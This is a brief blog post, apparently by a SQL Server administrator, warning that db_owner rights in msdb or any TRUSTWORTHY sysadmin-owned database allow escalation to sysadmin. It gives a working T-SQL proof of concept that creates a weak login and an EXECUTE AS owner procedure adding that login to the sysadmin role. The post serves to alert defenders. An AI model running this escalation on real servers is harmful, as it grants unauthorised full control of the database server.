May 6, 2019 by Kenneth Fisher
This doesn’t require much in the way discussion. This isn’t exactly a huge issue since I don’t think granting db_owner in msdb happens a whole lot, but still. Consider yourself warned.
I should add, this will work on any database that has trustworthy turned on and the dbo is a sysadmin. Oh, and my understanding is that msdb needs both an owner that is sysadmin (sa) and be trustworthy.
CREATE LOGIN ImpersonationTest WITH PASSWORD ='test', CHECK_POLICY = OFF; GO USE msdb GO CREATE USER ImpersonationTest FROM LOGIN ImpersonationTest; GO ALTER ROLE db_owner ADD MEMBER ImpersonationTest; GO
Connect as ImpersonationTest
USE msdb GO CREATE PROCEDURE dbo.sysadminMe WITH EXECUTE AS owner AS ALTER SERVER ROLE sysadmin ADD MEMBER ImpersonationTest; GO EXEC dbo.sysadminMe; GO SELECT * FROM sys.login_token;